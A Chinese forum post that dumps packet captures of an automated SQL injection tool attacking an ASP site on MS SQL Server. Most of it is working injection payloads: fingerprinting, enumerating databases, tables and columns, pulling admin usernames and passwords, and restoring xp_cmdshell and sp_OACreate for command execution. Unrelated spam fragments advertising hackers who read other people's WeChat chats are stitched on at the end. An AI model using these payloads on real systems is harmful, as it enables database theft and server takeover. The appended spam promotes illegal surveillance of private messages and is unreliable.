作者:TheLostMind
看了下穿山甲,很牛X的工具,抓了下包,随便整理了以下,无聊时看看……
===============================================
Target url is : http://www.xxx.com/news.asp?class_id=1165
HTTP Method is : GET
Inject type is : Integer
Do you really want to delete it?
Field count is : 14
The field's count 14
The string field position at 2
抓包内容:
union all select null-- and 1=1
union all select null,null-- and 1=1
union all select null,null,null-- and 1=1
这里省略…………………………………………
union all select null,null,null,null,null,null,null,null,null,null,null,null,null-- and 1=1
union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null-- and 1=1
and 1=2 union all select cast
(0x616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161 as varchar
(8000)),null,null,null,null,null,null,null,null,null,null,null,null,null-- and 1=1
and 1=2 union all select null,cast
(0x616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161 as varchar
(8000)),null,null,null,null,null,null,null,null,null,null,null,null-- and 1=1
and 1=2 union all select null,cast(db_name() as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null -- and 1=1
获取综合信息:
and 1=2 union all select null,cast(@@version as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null -- and 1=1
and 1=2 union all select null,cast(db_name() as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null -- and 1=1
and 1=2 union all select null,cast(@@servername as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null -- and 1=1
and 1=2 union all select null,cast(system_user as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null -- and 1=1
and 1=2 union all select null,cast(user as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null -- and 1=1
and 1=2 union all select null,cast(is_srvrolemember(0x730079007300610064006d0069006e00) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null -- and 1=1
and 1=2 union all select null,cast(is_member(0x640062005f006f0077006e0065007200) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null -- and 1=1
and 1=2 union all select top 1 null,cast(cast([name] as nvarchar(4000)) cast([filename] as nvarchar(4000)) as
nvarchar(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 dbid,name,filename
from (select top 1 dbid,name,filename from [master].[dbo].[sysdatabases] order by 1) t order by 1 desc)t-- and 1=1
and 1=2 union all select top 1 null,cast(cast([name] as nvarchar(4000)) cast([filename] as nvarchar(4000)) as
nvarchar(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 dbid,name,filename
from (select top 2 dbid,name,filename from [master].[dbo].[sysdatabases] order by 1) t order by 1 desc)t-- and 1=1
and 1=2 union all select top 1 null,cast(cast([name] as nvarchar(4000)) cast([filename] as nvarchar(4000)) as
nvarchar(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 dbid,name,filename
from (select top 3 dbid,name,filename from [master].[dbo].[sysdatabases] order by 1) t order by 1 desc)t-- and 1=1
and 1=2 union all select top 1 null,cast(cast([name] as nvarchar(4000)) cast([filename] as nvarchar(4000)) as
nvarchar(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 dbid,name,filename
from (select top 4 dbid,name,filename from [master].[dbo].[sysdatabases] order by 1) t order by 1 desc)t-- and 1=1
这里省略……………………
and 1=2 union all select top 1 null,cast(cast([name] as nvarchar(4000)) cast([filename] as nvarchar(4000)) as
nvarchar(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 dbid,name,filename
from (select top 40 dbid,name,filename from [master].[dbo].[sysdatabases] order by 1) t order by 1 desc)t-- and 1=1
;drop table foofoofoo;-- and 1=1
;create table foofoofoo(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));-- and 1=1
;insert foofoofoo exec master.dbo.xp_availablemedia;-- and 1=1
and 1=2 union all select top 1 null,cast(cast([name] as nvarchar(4000)) cast([type] as nvarchar(4000)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 * from (select top 1 * from
foofoofoo order by [name] group by name) t order by [name] desc)t-- and 1=1
;drop table foofoofoo;-- and 1=1
;create table foofoofoo(name nvarchar(255),description nvarchar(4000));-- and 1=1
;insert foofoofoo exec master.dbo.xp_enumgroups;-- and 1=1
and 1=2 union all select top 1 null,cast(cast([name] as nvarchar(4000)) cast([description] as nvarchar(4000)) as
nvarchar(4000)) ,null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 * from (select top
1 * from foofoofoo order by [name] group by name) t order by [name] desc)t-- and 1=1
;drop table foofoofoo;-- and 1=1
获取表:
and 1=2 union all select null,cast(cast(count(*) as varchar(10)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from [sky_yanjiusuo]..[sysobjects] where
xtype=char(85) and status>0--
and 1=2 union all select top 1 null,cast(cast(name as varchar(256)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 id,name from (select top 1
id,name from [sky_yanjiusuo]..[sysobjects] where xtype=char(85) and status>0 order by 1) t order by 1 desc)t--
and 1=2 union all select top 1 null,cast(cast(name as varchar(256)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 id,name from (select top 2
id,name from [sky_yanjiusuo]..[sysobjects] where xtype=char(85) and status>0 order by 1) t order by 1 desc)t--
这里省略………………
and 1=2 union all select top 1 null,cast(cast(name as varchar(256)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 id,name from (select top 15
id,name from [sky_yanjiusuo]..[sysobjects] where xtype=char(85) and status>0 order by 1) t order by 1 desc)t--
获取列:
and 1=2 union all select top 1 null,cast(cast(id as nvarchar(20)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from [sky_yanjiusuo]..[sysobjects] where
name=0x73006b0079005f005500730065007200--
and 1=2 union all select null,cast(cast(count(*) as varchar(10)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from [sky_yanjiusuo]..[syscolumns] where
id=2068202418--
and 1=2 union all select top 1 null,cast(cast(name as varchar(8000)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 colid,name from (select top
1 colid,name from [sky_yanjiusuo]..[syscolumns] where id=2068202418 order by 1) t order by 1 desc)t--
and 1=2 union all select top 1 null,cast(cast(name as varchar(8000)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 colid,name from (select top
2 colid,name from [sky_yanjiusuo]..[syscolumns] where id=2068202418 order by 1) t order by 1 desc)t--
这里省略……………………
and 1=2 union all select top 1 null,cast(cast(name as varchar(8000)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 colid,name from (select top
10 colid,name from [sky_yanjiusuo]..[syscolumns] where id=2068202418 order by 1) t order by 1 desc)t--
and 1=2 union all select top 1 null,cast(cast(name as varchar(8000)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 colid,name from (select top
11 colid,name from [sky_yanjiusuo]..[syscolumns] where id=2068202418 order by 1) t order by 1 desc)t--
获取内容:
and 1=2 union all select null,cast(cast(count(*) as varchar(8000)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from [sky_yanjiusuo]..[sky_user] where 1=1--
and 1=2 union all select top 1 null,cast(cast(id as varchar) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 id from (select top 1 id
from [sky_yanjiusuo]..[sky_user] where 1=1 order by 1) t order by 1 desc)t--
and 1=2 union all select top 1 null,cast(cast(admin_name as varchar) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 admin_name from (select top
1 admin_name from [sky_yanjiusuo]..[sky_user] where 1=1 order by 1) t order by 1 desc)t--
and 1=2 union all select top 1 null,cast(cast(admin_password as varchar) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 admin_password from (select
top 1 admin_password from [sky_yanjiusuo]..[sky_user] where 1=1 order by 1) t order by 1 desc)t--
and 1=2 union all select top 1 null,cast(cast(id as varchar) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 id from (select top 2 id
from [sky_yanjiusuo]..[sky_user] where 1=1 order by 1) t order by 1 desc)t--
and 1=2 union all select top 1 null,cast(cast(admin_name as varchar) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 admin_name from (select top
2 admin_name from [sky_yanjiusuo]..[sky_user] where 1=1 order by 1) t order by 1 desc)t--
and 1=2 union all select top 1 null,cast(cast(admin_password as varchar) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 admin_password from (select
top 2 admin_password from [sky_yanjiusuo]..[sky_user] where 1=1 order by 1) t order by 1 desc)t--
恢复XP_CMDSHELL:
and substring(cast(serverproperty(0x700072006f006400750063007400760065007200730069006f006e00) as nvarchar(4000)),
1, 1)>8
;exec master.dbo.sp_addextendedproc 0x780070005f0063006d0064007300680065006c006c00,
0x780070006c006f006700370030002e0064006c006c00--
恢复SP_OA……
;exec master.dbo.sp_addextendedproc 0x730070005f004f004100430072006500610074006500,
0x780070006c006f006700370030002e0064006c006c00--
列磁盘:
;drop table foofoofoo;--
;create table foofoofoo(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));--
;insert foofoofoo exec master.dbo.xp_availablemedia;--
and 1=2 union all select top 1 null,cast(cast([name] as nvarchar(4000))cast([type] as nvarchar(4000)) as nvarchar
(4000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top 1 * from (select top 1 * from
foofoofoo order by [name] group by name) t order by [name] desc)t--
;drop table foofoofoo;--
不抓了。。。。自己抓吧………………
==============================================
微信密码这个东西只有自己知道,如果密码记不起来那微信很有可能是再登陆不上了,微信里面的零钱,小程序,微信公众号都用不成了,会给自己造成很大的麻烦,其实微信密码一般情况下是不会忘记的,除非是有人破解了我...
微信聊天记录删除恢复_确保隐私和安全用证据说话老婆删除微信聊天记录 提到朋克精神,想必都不会陌生。 上世纪八九十年代,朋克作为亚文化开始流行起来,而它的表现形式,常常与音乐、服装、电影甚至文学...
找回删除微信聊天记录 微信查到别人聊天记录需要多少钱-免费接单 热带雨林气候的变化就像蜂鸟的飞行速度一样让人难以捉摸,刚还在抱怨暴晒,一会功夫狂风大雨就来了。我被搞得猝不及防,手忙脚乱地一边保护装备...
11月7日消息,微软今天发布了用于Windows 19H1版本的首个SDK。 据Softpeida报道,经开发者挖掘,SDK中出现了关于WPA3加密的配套支持,暗示在19H1中,Windows1...
在线接单平台QQ别人的微信聊天记录在网上可不可以查询到? 网上找黑客查聊天记录靠谱吗,黑客查微信聊天记录是真的吗? 微信怎么导出聊天记录?微信里的聊天记录,是不是已经十几GB了?是不是每次想找里面的图...
微信聊天记录删除了能恢复吗?在我们生活中,总会有各种各样样的垃圾信息充斥着我们的生活。很多同学不堪其扰,删除了大量的垃圾微信消息,但是,一不小心就会删掉重要的微信聊天记录。碰到这种情况,一定要尽...